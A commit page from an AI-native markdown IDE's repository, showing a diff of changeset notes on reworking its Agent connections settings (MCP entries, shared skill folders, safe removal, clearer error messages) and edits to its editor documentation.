Beautiful, AI-native markdown IDE and LLM wiki
TypeScript 2nd-brainagent-skillsclaudecodexcompany-braindocsknowledge-knowledge-baseknowledge-managementllmllm-wikillm-wiki-karpathymarkdownmarkdown-editormdmdxnotespkmsecond-brainskills
Agent-integration requirements matrix: one registry behind readiness, settings, and install (#3755)
mike-inkeep01c0d06ff9f6
diff --git a/.changeset/agent-connections-dialog-polish.md b/.changeset/agent-connections-dialog-polish.mdnew file mode 100644index 000000000..26e32b4a6--- /dev/null+++ b/.changeset/agent-connections-dialog-polish.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++Settings → AI tools now tells you what each option writes, and stops claiming things that weren't true.++The per-agent setup dialog described checked boxes as "installed now — uncheck to remove". On an agent with nothing set up yet the dialog pre-selects a recommended set, so those boxes were proposals, not installed state. That sentence is gone. Every option's info tooltip now names where it writes (`.codex/config.toml`, `.codex/skills/open-knowledge/`, `~/.codex/skills/`), resolved from the satisfier's own path id — so an entry that lives in another tool's file names that file, which is why Copilot's project MCP server reads `.mcp.json`. The user-scope skill row names its root directory rather than the installed folder, because that folder's name is a CLI-side constant with no browser-reachable export. The user-global MCP row has no path at all yet; it resolves through a CLI-side map with no browser equivalent.++A blocked option now names the control that unblocks it ("Turn on Global MCP server first.") instead of "Select the required connection first." Option descriptions were rewritten for accuracy: the global MCP server says it covers every project on this machine, the project skill no longer promises a live preview, and the discovery skill reuses the wording already shipped in the first-launch dialog. Checkboxes align with their labels, scope headings match the sizing used elsewhere, and the setup-doc link is muted with an external-link arrow.diff --git a/.changeset/agent-connections-safe-removal-and-reasons.md b/.changeset/agent-connections-safe-removal-and-reasons.mdnew file mode 100644index 000000000..2f214012d--- /dev/null+++ b/.changeset/agent-connections-safe-removal-and-reasons.md@@ -0,0 +1,35 @@+---+"@inkeep/open-knowledge": patch+---++Agent connections no longer deletes a skill another agent reads, applies nothing when a change conflicts, and says why a save failed.++Removing a project or discovery skill for one agent whose skills folder is an alias of another agent's (for example `.cursor/skills` pointing at `.claude/skills`) used to follow the alias and delete the other agent's copy with no warning. The removal now stops, names the agent on the other end, and offers "Remove for both". The same rule already covered files two agents share by design, such as `.mcp.json`; folder aliases the host observes on disk now count too.++The vendor-neutral `.agents/skills` hub counts as a peer too: a skills folder linked at the hub names LM Studio (project) or OpenClaw (machine) as the agent on the other end, and when that agent has no row of its own the removal stops and points at Skills Studio instead of offering a "Remove for both" it cannot honor. The removal confirmation now says whose folder a listed skill also is, before you click. Skill folders are only replaced when they hold a SKILL.md OpenKnowledge wrote, and a user-level skills folder aliased outside your home directory is refused rather than followed.++A save or removal that raises a conflict used to apply every part the conflict did not touch, so the "shared with GitHub Copilot, remove for both?" question could appear after three of four files were already gone. A conflicted batch now changes nothing until you answer.++GitHub Copilot's project skill can be installed from the workspace `.mcp.json` it shares with Claude Code. The skill writer only accepted Copilot's own machine-wide config as the prerequisite, so ticking just the skill failed with "Something went wrong" even though the settings row promised either scope would do. Copilot's machine-wide MCP row is also greyed out until `~/.copilot` exists, matching what the writer would refuse.++An OpenKnowledge MCP entry that was edited after OpenKnowledge wrote it (an added `env` key, for instance) now reads as "changed after OpenKnowledge wrote it" in Agent connections, and saving replaces it with OpenKnowledge's own entry. The docked terminal already refused to auto-approve tools for such an entry; the two views now agree. Entries nobody edited are untouched, and a version refresh still updates them in place.++Removing one of two MCP entries a skill accepts (GitHub Copilot reads either the shared `.mcp.json` or its own machine-wide config) no longer withholds the removal as if the skill were losing its only prerequisite. An intent that names a control the dialog disables (a foreign entry, an agent with no config file yet, an undetected agent) is refused with that reason instead of being stepped.++Moving or renaming a machine-wide skill now repoints every user-scope host's link, including `~/.gemini/skills` and `~/.lmstudio/skills`; the slot list is paired with the root map it is given instead of always enumerating the project set. The retired project-skill `.gitignore` block is removed through a temp file and rename, only the blank line the block left behind is collapsed, CRLF endings and whitespace-only lines are kept, and the cleanup also runs when a folder is set up fresh, not only on a managed open.++Every check that decides whether an existing MCP entry is OpenKnowledge's own launcher (refresh in place, read as connected, or inject the transport) now looks at how the entry launches: a shell script body that opens with the `# ok-mcp` marker or version line, or the published package name as its own argument. A foreign command that merely mentions either somewhere in its text is no longer treated as ours, and its row no longer reads Connected.++Refreshing OpenKnowledge's own entry in place now rewrites the `env` key (OpenCode's `environment`) along with the launcher in every format, JSON, YAML and Codex's TOML alike, dropping any value that was added after OpenKnowledge wrote it, since that environment lands on a process OpenKnowledge spawns. On that in-place refresh, every other key the harness owns, such as `cwd`, `startup_timeout_ms` or Codex's `tools` tables, keeps its value, its shape and its comments; the TOML writer removes the one key through the native editor instead of rebuilding the entry. When Agent connections turns an entry on, the entry is replaced whole in every format, so a foreign entry under our name never keeps its keys, and an entry that was edited after OpenKnowledge wrote it is replaced whole too, extras included. The overwrite is offered for TOML only where the native writer is available. An agent that never asked for an exact-match check, such as Codex, now still reads as "changed after OpenKnowledge wrote it" when its entry carries a managed key OpenKnowledge did not write (an `env` map, even an empty one), so the row offers the replacement instead of reading Connected. The three unattended sweeps, `ok start`, the desktop app start and the desktop project open, use that same check: when OpenKnowledge's own launcher carries such a key, the sweep removes only that key and leaves the launcher itself untouched, so a launcher newer than the running build keeps its body and still loses the foreign environment. A prune never creates a file or a folder, reports as no change when there was nothing to remove (as its own status and its own event, so a planned removal that found nothing is never mistaken for a clean entry, and `ok start` warns about it instead of staying silent), and is only logged as done after the write succeeded; for a TOML config it needs the native writer, and where that writer is missing the desktop start reports the refused prune as a failure instead of a healthy machine and `ok start` warns about it with the reason. The desktop start treats a prune that removed nothing the same way, and its failure notice now names the agent and the reason and still lists the agents it did repair in the same run. Both of `ok start`'s sweeps, the MCP config repair and the launch.json cleanup, stamp every event with a severity, so `ok start` warns on anything it does not know to be routine and stays quiet on routine work.++The GitHub Copilot project skill only counts an MCP entry as its prerequisite when that entry actually runs OpenKnowledge: the shell launcher, a legacy `npx` entry that names the published package, or the dev launcher `ok init --dev-mcp` writes, and never an entry the host has disabled. It learns which shared file to read from the agent registry instead of naming Claude Code by hand. Moving a machine-wide skill in place records its slot under the right root for the scope being moved.++When two parts of one save fail for different reasons, the dialog lists each part with its own reason instead of naming only the first. When a save will replace an entry or folder that is not OpenKnowledge's, the button reads "Replace and save". Saves made from a browser now carry the transport failure, the HTTP status, or the unexpected response shape into the error line.++Failures name their reason instead of "Something went wrong": a config file the agent has not created yet, a file OpenKnowledge could not parse, a skill whose MCP entry could not be written, a write that failed, or an MCP entry unticked while a skill that needs it stays on. A build that cannot manage connections says so once at the top of the page and shows no Add or Remove buttons, rather than failing every save. Terminal rows' Install links now open the vendor's install page from the agent registry.++The "one more step" hint is back on connected rows. When OpenKnowledge has written an agent's project MCP entry but the agent still needs something from you, the row says so under its status: run Claude in the project and approve OpenKnowledge once, enable the server in Cursor's Tools & MCP settings, or open the project in a trusted Codex or GitHub Copilot session. The hint is worded per agent from one translated string each, and the catalog check now fails when any locale is missing one of them, instead of passing on an empty set.++Turning on a skill that needs an MCP entry no longer picks that entry by list position. When more than one entry would do, OpenKnowledge prefers one the agent owns alone over one borrowed from another agent's file, and among those, one that connects without a follow-up step. GitHub Copilot's project skill therefore adds Copilot's own machine-wide entry rather than writing into the `.mcp.json` it shares with Claude Code; the shared file is used only when the owned entry is unavailable.++The notice the desktop app shows after its start-up repair now survives being opened through a link on Windows and Linux. On those platforms a link opens the app into a first window that is replaced or reloaded by the project window a few seconds later, and the notice used to go to the first one only, so a failed repair was never seen. The notice now reaches every window loaded in the first minute after the repair.diff --git a/.changeset/blocked-row-reasons.md b/.changeset/blocked-row-reasons.mdnew file mode 100644index 000000000..b5ea8f7b4--- /dev/null+++ b/.changeset/blocked-row-reasons.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++A row you cannot change now tells you why, instead of saying the same thing in every case.++"This option cannot be changed automatically" covered four unrelated situations. An agent you have installed but never opened, an agent OpenKnowledge cannot find at all, and an agent that offers no way to be set up for you all read identically, and none of them hinted at what to do next. Each now says its own thing, and the one you can act on tells you to open the agent once and check again.diff --git a/.changeset/builtin-skill-global-roots.md b/.changeset/builtin-skill-global-roots.mdnew file mode 100644index 000000000..630d1c05e--- /dev/null+++ b/.changeset/builtin-skill-global-roots.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++Built-in skills installed for Copilot, Pi, Antigravity or LM Studio are visible again.++A user-global skill lives under that agent's own folder, and four of them sit somewhere other than where the project-scoped copy would go: `~/.copilot/skills`, `~/.pi/agent/skills`, `~/.gemini/skills` and `~/.lmstudio/skills`. OpenKnowledge seeded built-ins into all four but then looked for them in the project locations, so a built-in installed for one of those agents had no source shown and no update offer, its `SKILL.md` would not open, and deleting the skill left the copy behind.++Scope now picks the folder map, so those four are read, listed and cleaned up like every other agent's.diff --git a/.changeset/connection-remove-names-the-file.md b/.changeset/connection-remove-names-the-file.mdnew file mode 100644index 000000000..548c61b95--- /dev/null+++ b/.changeset/connection-remove-names-the-file.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++The remove confirmation now names the config file it is about to edit.++Removing OpenKnowledge from an agent showed a line reading "Global MCP server" and nothing else, so there was no way to tell which file was about to change. It now shows the path, for example `~/.lmstudio/mcp.json`.++The path was missing because the window cannot work it out on its own: these locations depend on environment variables and per-agent fallbacks that only the OpenKnowledge process resolves. It is now reported by the part that looks the file up, so the confirmation names the real file rather than a guess.diff --git a/.changeset/detect-lm-studio.md b/.changeset/detect-lm-studio.mdnew file mode 100644index 000000000..3c7f28527--- /dev/null+++ b/.changeset/detect-lm-studio.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++LM Studio is recognised when you have it installed.++Its row in Agent connections always read "Not detected on this machine", even with the app right there, because OpenKnowledge never actually checked for it. OpenKnowledge asks the operating system which app owns a link type, and LM Studio does register one, so it is now asked about like every other app.diff --git a/.changeset/foreign-entry-offer-overwrite.md b/.changeset/foreign-entry-offer-overwrite.mdnew file mode 100644index 000000000..6aaf9c3e9--- /dev/null+++ b/.changeset/foreign-entry-offer-overwrite.md@@ -0,0 +1,13 @@+---+"@inkeep/open-knowledge": patch+---++You can now reconnect an agent whose `open-knowledge` MCP entry you edited by hand.++An entry OpenKnowledge did not recognize used to turn that row off entirely, with nothing to click and no way forward. Editing that entry yourself was enough to lock yourself out of the row that manages it. The row is now live, and its warning says plainly that ticking it replaces what is there.++It stays unticked when the dialog opens, which is the point: every other row on a fresh dialog opens ticked, and replacing a file you edited should be something you reach for rather than something that happens because you saved a dialog you opened to look at. The Save button turns red while such a change is in the draft. Nothing outside that one entry is touched, so other servers, comments, and formatting are left exactly as they were.++This applies to agents whose config is JSON, which is where OpenKnowledge can replace its entry outright. Codex, Hermes, and Pi keep the entry read-only, because on those formats OpenKnowledge merges its own keys into what is already there rather than replacing the whole entry, and a merge would leave part of your edited entry attached to a server OpenKnowledge starts.++Setting up a skill that needs an MCP entry still will not quietly overwrite one you edited. That work is held back, and the dialog now names both rows and tells you which one to tick.diff --git a/.changeset/foreign-mcp-entry-replace.md b/.changeset/foreign-mcp-entry-replace.mdnew file mode 100644index 000000000..ca245ed07--- /dev/null+++ b/.changeset/foreign-mcp-entry-replace.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++Connecting a tool no longer leaves part of someone else's MCP entry attached to OpenKnowledge's.++If an entry named `open-knowledge` was already in the file but launched something else, setting the tool up rewrote the launch command and left the rest of that entry behind — so OpenKnowledge's own process could end up running with environment variables it never set. The entry is now replaced outright, which is what claiming the name has to mean.++OpenKnowledge's own entry is still updated in place: a version bump refreshes the launcher and keeps everything around it, so a working directory you added, a timeout, a per-tool approval setting, or a disabled flag all survive. Nothing outside that one entry is touched either way — other servers, comments, and formatting are left exactly as they were.diff --git a/.changeset/hide-unsupported-connection-options.md b/.changeset/hide-unsupported-connection-options.mdnew file mode 100644index 000000000..129c24445--- /dev/null+++ b/.changeset/hide-unsupported-connection-options.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++Agent connections no longer offers an agent options it does not have.++Every agent's Configure dialog showed the same four checkboxes — project and global MCP server, project and discovery skill — with the ones an agent has no surface for greyed out. Pi has no machine-wide MCP config at all, so its global row could never be ticked; Claude Desktop, Hermes, OpenClaw and Antigravity have no project-scope surface of any kind, so their whole **This project** group was two dead rows under a live heading. A disabled control reads as something OpenKnowledge failed to set up, which sent people looking for a fix that does not exist.++Those rows are gone now, and a group with nothing left in it drops its heading rather than standing empty. An option that genuinely exists but cannot be written right now still shows, disabled, with the reason — an entry OpenKnowledge did not author, a host with no scriptable installer, an agent that is not on this machine. That distinction is the point: nothing to offer and cannot act are different answers and now look different.diff --git a/.changeset/no-claude-desktop-row.md b/.changeset/no-claude-desktop-row.mdnew file mode 100644index 000000000..0fcb707f5--- /dev/null+++ b/.changeset/no-claude-desktop-row.md@@ -0,0 +1,11 @@+---+"@inkeep/open-knowledge": patch+---++One less row in Settings: OpenKnowledge no longer sets up Claude Desktop.++OpenKnowledge stopped integrating with Claude Desktop's Cowork tab a while ago, which left it as a single MCP config file OpenKnowledge wrote and a settings row whose only job was letting you undo that write. Neither earns its place, so setup no longer offers Claude Desktop and no longer writes to `claude_desktop_config.json`, and the row is gone.++If you want OpenKnowledge in Claude Desktop, add the MCP server to that file yourself — it is an ordinary MCP config.++An entry an earlier version wrote is left exactly as it is, so Claude Desktop keeps working as it does today. To clear it, either delete the `open-knowledge` entry from `claude_desktop_config.json` yourself, or run `ok uninstall`, which removes OpenKnowledge from every agent on the machine.diff --git a/.changeset/no-launch-skill-sweep.md b/.changeset/no-launch-skill-sweep.mdnew file mode 100644index 000000000..d127eb301--- /dev/null+++ b/.changeset/no-launch-skill-sweep.md@@ -0,0 +1,15 @@+---+"@inkeep/open-knowledge": patch+---++OpenKnowledge no longer writes built-in skills into your agent folders on its own.++Launching the app used to keep re-installing a skill you had already said yes to into every agent home folder it found, including ones you added after that first yes. `ok start` did the same on every boot, and opening a project you had already set up created its project skill for any editor that was missing one. Installing a skill is something you ask for, so all three are gone.++Launch still does two housekeeping passes that write nothing new: it removes superseded copies OpenKnowledge itself left in your agent folders under an older name, and it removes a bundle you switched off that is still on disk.++Skills are now written by `ok init`'s permission prompt, by Skills Studio, and by the Settings toggles. Nothing else.++One thing to know: a project's skill folder is deliberately kept out of git, so someone cloning a project you set up will not have its OpenKnowledge skill until they turn it on. `ok repair-skills` still runs an explicit repair.++Nothing already installed is removed or changed.diff --git a/.changeset/ok-cli-row-in-preferences.md b/.changeset/ok-cli-row-in-preferences.mdnew file mode 100644index 000000000..b3038df82--- /dev/null+++ b/.changeset/ok-cli-row-in-preferences.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++The `ok` terminal command has a home again, under Settings → Preferences.++The settings rework replaced the old AI tools page with Agent connections, and the checkbox that adds the `ok` command to your shell did not come with it. It kept working — anyone who had switched it on still had it — but there was no longer a way to switch it back off. It now sits on User → Preferences, just under Theme, where the rest of the "how OpenKnowledge behaves on this machine" settings live. It appears only in the desktop app, and only when there is a shell to add it to or a block already installed.diff --git a/.changeset/per-agent-discovery-skill.md b/.changeset/per-agent-discovery-skill.mdnew file mode 100644index 000000000..0df3a265b--- /dev/null+++ b/.changeset/per-agent-discovery-skill.md@@ -0,0 +1,13 @@+---+"@inkeep/open-knowledge": patch+---++The discovery-skill checkbox in Settings → Agent connections works, instead of sending you to Skills Studio forever.++Two things were wrong. The row read the wrong directory: it looked for the project bundle (`open-knowledge`) inside the user-global skills root, where the discovery bundle (`open-knowledge-discovery`) actually lives. So a discovery skill you had already installed read as missing no matter how many times you installed it, and the row kept offering to add it. And the box it offered could not be saved: the user-global rows had no per-agent writer, so every Save came back failed with an error pointing at Skills Studio, which lists a different set of agents and could not always honour the request either.++Each agent's row now installs and removes its own copy, in its own skills folder, leaving every other agent's alone. Both directions decline when two agents' skills folders resolve to the same directory, naming what shares it — installing through the alias would have made the other agent's row read as set up off a write you never asked for, and you could not have undone it from the same screen.++Turning a row on also records that you want the skill, so a machine-wide decline made during onboarding no longer removes it again at the next launch; turning off the last agent that had it records that too, so it does not come back everywhere.++A row is only offered for an agent whose folder is already on your machine — the option reads as unavailable rather than sitting checked and failing on save — which is the same rule Skills Studio uses, so the two screens agree about which agents can take a machine-wide skill. Creating the folder would have meant more than the one box you ticked: OpenKnowledge treats the presence of that folder as proof the tool is installed, so the next launch would have seeded your other enabled skills into it too.diff --git a/.changeset/prerequisite-or-set.md b/.changeset/prerequisite-or-set.mdnew file mode 100644index 000000000..74b4e5434--- /dev/null+++ b/.changeset/prerequisite-or-set.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++Agent connections no longer makes you set things up in a particular order.++A skill row that needed an MCP server was greyed out until you ticked the MCP first, which asked you to sequence two changes OpenKnowledge already sequences for you: saving a skill whose MCP entry is missing installs both, in the right order. The rows are independent now, and the change counter tells you what a save will do.++GitHub Copilot was the row where this bit hardest. It reads OpenKnowledge from either the project file it shares with Claude Code or its own machine-wide config, and having one is enough — but the requirement was written as needing both, so a Copilot user with neither could never clear it. It now asks for either, and a save installs one rather than writing a second entry Copilot never needed.diff --git a/.changeset/project-skill-agents-hub.md b/.changeset/project-skill-agents-hub.mdnew file mode 100644index 000000000..b06bf7552--- /dev/null+++ b/.changeset/project-skill-agents-hub.md@@ -0,0 +1,9 @@+---+"@inkeep/open-knowledge": patch+---++LM Studio now gets OpenKnowledge's project skill.++LM Studio reads a project's skills from `<project>/.agents/skills`, the shared folder several tools read, rather than from a folder of its own. OpenKnowledge only ever wrote its project skill into per-editor folders, so picking LM Studio during setup connected it but never gave it the guidance that tells an agent how to use OpenKnowledge in your project.++Setup now writes the project skill into `.agents/skills` when you pick a tool that reads it. It is written once for the project, and only when you picked such a tool — nothing appears there otherwise.diff --git a/.changeset/project-skill-is-project-content.md b/.changeset/project-skill-is-project-content.mdnew file mode 100644index 000000000..8118cd57a--- /dev/null+++ b/.changeset/project-skill-is-project-content.md@@ -0,0 +1,13 @@+---+"@inkeep/open-knowledge": patch+---++OpenKnowledge no longer forces its project skill out of your git history.++Setting up or opening a project used to append a `.gitignore` block excluding the built-in `open-knowledge` skill, and, if the skill was already committed, make a commit removing it. Both existed for one reason: the app rewrote the skill on every open and stamped a version into it, so two people on two app builds fought over the file. The version stamp went away, and the app no longer rewrites it on open, so neither is needed.++Whether the skill is committed is now your project's decision, exactly like any skill you wrote yourself. Committing it means a teammate gets it on clone, and updating it shows up as a reviewable change instead of happening quietly on each machine at a different time.++Because those lines were written to every project anyone opened, opening a project (or running `ok init`) now removes them again. That is the only thing an open still does to `.gitignore`, it only ever deletes lines OpenKnowledge itself wrote, and it edits the working tree without staging or committing, so you see it as an ordinary change and can keep or discard it. Your own lines are untouched.++`ok deinit` still removes the skill as part of OpenKnowledge's footprint.diff --git a/.changeset/project-skill-shared-root-removal.md b/.changeset/project-skill-shared-root-removal.mdnew file mode 100644index 000000000..8a0258ce2--- /dev/null+++ b/.changeset/project-skill-shared-root-removal.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++Turning off a project's Agent Skill for one editor no longer deletes it for another that shares the same folder.++Each editor gets its own project skills folder, but some setups point two of them at one place — `.codex/skills` symlinked to `.agents/skills` is a common one. In that layout, removal followed the link: switching the skill off for Cursor deleted the bundle Claude was reading, and Claude's row went on showing it as installed. Removal now declines when the folder is shared, naming what shares it, rather than repointing a link you set up yourself. The shared `.agents/skills` hub counts too, since several tools read it directly. An alias that nothing else reads still removes normally.diff --git a/.changeset/removal-dialog-real-paths.md b/.changeset/removal-dialog-real-paths.mdnew file mode 100644index 000000000..b80475115--- /dev/null+++ b/.changeset/removal-dialog-real-paths.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++The remove dialog lists real file paths again.++Under "this deletes the MCP server entries and skill files listed below" it was printing OpenKnowledge's internal key for each location, so a row about your project's `.mcp.json` read `editor-project-config:claude`. It now shows the path, and shows nothing at all for the rows that have no file behind them.diff --git a/.changeset/remove-on-unconfigurable-agent.md b/.changeset/remove-on-unconfigurable-agent.mdnew file mode 100644index 000000000..a78e042ac--- /dev/null+++ b/.changeset/remove-on-unconfigurable-agent.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++A connected agent no longer offers you its setup guide.++LM Studio's row read "How to set up" next to "Connected" — instructions for something you had already done, in place of the one action the row actually had. Because OpenKnowledge cannot complete LM Studio's setup for you, the row assumed there was nothing to do, and never noticed the setup was already there. It now offers Remove once the entry and skill files exist, and keeps the setup guide for when they do not.diff --git a/.changeset/shared-skills-folder-warns.md b/.changeset/shared-skills-folder-warns.mdnew file mode 100644index 000000000..339fbeef0--- /dev/null+++ b/.changeset/shared-skills-folder-warns.md@@ -0,0 +1,13 @@+---+"@inkeep/open-knowledge": patch+---++Linking two agents to one skills folder no longer makes that row unusable.++Skills Studio lets you point one agent's skills folder at another's. Agent connections then refused to install or remove anything in that folder, because a change there reaches both agents. One part of OpenKnowledge was offering the link and another was refusing to work through it, and the row said only "Something went wrong."++The row now works, and says what it will do: "This folder is also Claude's. Turning this on or off does the same for them." Installing goes through and reaches both, which is what sharing a folder means. Removing stops first and asks, naming the other agent, so one row cannot silently take the other's copy with it.++Both rows say it, including the one that owns the folder. With `~/.codex/skills` pointed at `~/.claude/skills`, Claude is the side with something to lose: unticking Codex takes Claude's copy with it, so Claude's row is the one that most needs to say so.++The two features also stop deriving this separately. Which folders are really the same folder is now read once, from the same scan Skills Studio uses when it offers the link, and compared on the resolved path rather than on the label shown next to the folder.diff --git a/.changeset/terminal-mcp-scope-blindness.md b/.changeset/terminal-mcp-scope-blindness.mdnew file mode 100644index 000000000..be9fbee89--- /dev/null+++ b/.changeset/terminal-mcp-scope-blindness.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++The docked terminal no longer tells you Claude Code's Open Knowledge tools aren't connected when they are.++Claude Code reads two config scopes — your user-global `~/.claude.json` and the project's `.mcp.json` — but the terminal's readiness check only looked at the global one. A project that carries Open Knowledge's MCP entry locally, with nothing configured globally, got a persistent "tools aren't connected" strip despite the tools working. Readiness now treats either scope as sufficient, and records which one supplied it. A user with neither still gets the nudge, unchanged.diff --git a/.changeset/terminal-ok-tool-auto-approve-scope.md b/.changeset/terminal-ok-tool-auto-approve-scope.mdnew file mode 100644index 000000000..4dfda1efe--- /dev/null+++ b/.changeset/terminal-ok-tool-auto-approve-scope.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++Open Knowledge's tools are now auto-approved in the docked terminal when its MCP server lives in your user-global Claude Code config, not only when it lives in the project.++Two different things had been riding one switch. Trusting the project's `.mcp.json` server entry and auto-approving Open Knowledge's tools are separate decisions, and both were gated on the project entry — so anyone whose server was configured globally got neither, and had to answer a tool prompt on every launch. They are now decided independently. A foreign server that happens to be named `open-knowledge` in the project still disables auto-approval outright, even alongside a legitimate global entry, and the auto-approve preference remains the last word in every case.diff --git a/.changeset/terminal-toggle-absent.md b/.changeset/terminal-toggle-absent.mdnew file mode 100644index 000000000..1cdc6f69d--- /dev/null+++ b/.changeset/terminal-toggle-absent.md@@ -0,0 +1,7 @@+---+"@inkeep/open-knowledge": patch+---++A command-line tool you do not have installed no longer shows as turned on.++In Settings, rows under Terminal could read "Not installed" next to a switch that was on and could still be flipped. The row asked whether the tool was installed in two different ways and they disagreed while one of the answers was still coming in. The switch now follows the same answer the row shows you, so a tool you have not set up reads off and stays off until you install it. Turning one on deliberately still works and still points you at its installer.diff --git a/.changeset/unified-agents-settings-tab.md b/.changeset/unified-agents-settings-tab.mdnew file mode 100644index 000000000..5c579e8c9--- /dev/null+++ b/.changeset/unified-agents-settings-tab.md@@ -0,0 +1,13 @@+---+"@inkeep/open-knowledge": minor+---++Settings now has one **Agents** page instead of two. "Configure agents" and "AI tools" each told you half the story: one showed which agents appear in your menus, the other showed which ones OpenKnowledge had wired up to read your documents. A switch could be on while the agent could not read anything, and nothing on either page said so. The merged page puts both facts on one row, so an agent that is listed and an agent that works are no longer different questions asked in different places. Old links and searches for either name still land here.++Each row now says whether OpenKnowledge can reach that agent's tools, and offers the one action that makes sense: **Add MCP & skill** when nothing is set up, **Manage** when something is, **Remove** when files are on disk for a tool you have turned off, and **Install** when the tool itself is missing and we know where to get it. Where we do not, the row falls back to a **How to set up** link. Only one line appears under a row: a tool you do not have reads "Not installed" and stops there, rather than also reporting on config it has no use for.++A row never claims more than it knows. When OpenKnowledge cannot verify a tool's setup it shows no status rather than guessing, and if the whole install-state read fails, only the connection column degrades — every group still renders, every switch still works, and the message is retryable. A switch for a tool that is not installed is inert, since turning it on would promise a menu entry nothing can serve; one you had already turned on stays live so the choice can still be undone.++Two long-standing messages are fixed. Removing a setup whose file another agent shares now names that agent and the file and offers to remove it for both, instead of reporting "Something went wrong. Please try again." And a note about an entry OpenKnowledge did not write, or one that changed after it did, now says which file it means and what turning it on would do, and it is the only mark on that row. Previously the amber triangle stood beside the ordinary information icon, so an entry needing attention showed two marks and read as two separate problems.++Pi, OpenClaw and Hermes gain connection rows, since each needs an MCP entry with no fallback. Claude Desktop keeps both of its rows, now told apart by name: the one that opens the app stays **Claude Desktop**, and the one that configures the chat client's own MCP file reads **Claude Desktop (chat)**. They point at genuinely different files, so both have to exist.diff --git a/docs/content/features/editor.mdx b/docs/content/features/editor.mdxindex c99b71b73..afd714d76 100644--- a/docs/content/features/editor.mdx+++ b/docs/content/features/editor.mdx@@ -110,7 +110,7 @@ Surfaces with their own specialized right-click menus — asset and wiki-link chAn **Ask AI** composer is docked at the bottom of the editor — in the desktop app and in a regular browser — whenever a doc or folder view is open. It's a slim, single-line entry field that expands as you type to accept a fuller prompt (and `@`-mentions); in the desktop app, `Cmd+L` opens and focuses it. Type an instruction — "condense this doc", "research X", "make a spec from this user story" — and press Enter to hand it to an agent. `Shift+Enter` inserts a newline; the field clears once the prompt is sent.-It's the primary in-editor way to hand work to an agent, and the freetext companion to the menu-driven [Open with AI](#open-with-ai) (whole file / folder / project). Submitting dispatches the typed prompt to your **default agent**, scoped to the current doc (or, in a folder view, the folder), which the agent receives as an `@`-mention. Until you pick something else, that default is an **In app** agent, so the conversation stays inside OpenKnowledge; it falls back to a **Terminal** CLI — preferring one detected on this machine — and then to an **External app**, when no higher option is available here. The agent picker beside the field overrides the default per send, listing In app agents first, then the [Terminal](#open-with-ai) CLIs available on this machine, then the external agent apps detected here. Whatever you pick is remembered on that machine and stays your default until you change it or turn it off in **Configure agents**. Success and failure use the same handoff toast as Open with AI.+It's the primary in-editor way to hand work to an agent, and the freetext companion to the menu-driven [Open with AI](#open-with-ai) (whole file / folder / project). Submitting dispatches the typed prompt to your **default agent**, scoped to the current doc (or, in a folder view, the folder), which the agent receives as an `@`-mention. Until you pick something else, that default is an **In app** agent, so the conversation stays inside OpenKnowledge; it falls back to a **Terminal** CLI — preferring one detected on this machine — and then to an **External app**, when no higher option is available here. The agent picker beside the field overrides the default per send, listing In app agents first, then the [Terminal](#open-with-ai) CLIs available on this machine, then the external agent apps detected here. Whatever you pick is remembered on that machine and stays your default until you change it or turn it off in **Agent connections**. Success and failure use the same handoff toast as Open with AI.The composer stays out of the way where it doesn't belong: it's hidden inside an AI editor's embedded view, while the [docked terminal](#terminal) is open (the terminal is its own AI entry point), and when no doc or folder is open (the empty state already offers project handoff). It's also dismissible — an **Ask AI** badge in the status bar brings it back.@@ -208,11 +208,11 @@ The trailing `Open the OK editor in web view.` directive is dropped when the [`aTo send your own freetext instruction along with the handoff, use the bottom [Ask AI](#ask-ai) composer (or the empty-state create composer on a fresh project) rather than these one-click submenus.-**Install detection** supplies the defaults for all three sections: Terminal and External apps rows probe for the CLI or app itself, and In app rows probe for the agent's underlying CLI — and for an agent whose sign-in lives where OpenKnowledge can read it (Codex today, through the namespace it shares with the Codex CLI), an existing sign-in counts on its own even with no CLI installed. **Settings → Configure agents** overrides those defaults in both directions — turn off something detected, or turn on something you haven't installed yet. **Terminal** rows always use the desktop app's own PATH probe. For **External apps** the desktop app checks the OS protocol handlers locally, while the web build asks the server (`GET /api/installed-agents`), so that answer reflects the machine the server runs on — exact on `localhost`, but against a remote server (a hosted preview, SSH tunnel, remote dev) it's the server's installs that count. The **In app** signal is always the server's: it rides the agent catalog, not either probe. When nothing is enabled or detected, the submenu is just the **Configure agents** row.+**Install detection** supplies the defaults for all three sections: Terminal and External apps rows probe for the CLI or app itself, and In app rows probe for the agent's underlying CLI — and for an agent whose sign-in lives where OpenKnowledge can read it (Codex today, through the namespace it shares with the Codex CLI), an existing sign-in counts on its own even with no CLI installed. **Settings → Agent connections** overrides those defaults in both directions — turn off something detected, or turn on something you haven't installed yet. **Terminal** rows always use the desktop app's own PATH probe. For **External apps** the desktop app checks the OS protocol handlers locally, while the web build asks the server (`GET /api/installed-agents`), so that answer reflects the machine the server runs on — exact on `localhost`, but against a remote server (a hosted preview, SSH tunnel, remote dev) it's the server's installs that count. The **In app** signal is always the server's: it rides the agent catalog, not either probe. When nothing is enabled or detected, the submenu is just the **Configure agents** row.See the [per-integration pages](../integrations/claude-code.mdx) for what each agent receives once dispatched.-The menu is organized into three sections, in the order the default follows. **In app** leads: a row for each in-app agent you've enabled or that detection turned up, which opens the conversation in OpenKnowledge's Agents panel without leaving the app. **Terminal** (desktop app) follows: a row for every agent CLI OpenKnowledge can launch — **Claude**, **Codex**, **OpenCode**, **Cursor**, **GitHub Copilot**, **Pi**, **Antigravity**, **OpenClaw**, and **Hermes** — each running its own command in OpenKnowledge's [docked terminal](#terminal) with the same scoped prompt. On Windows, OpenKnowledge pastes that prompt without submitting it because a generic ConPTY readiness signal cannot safely identify the active input; 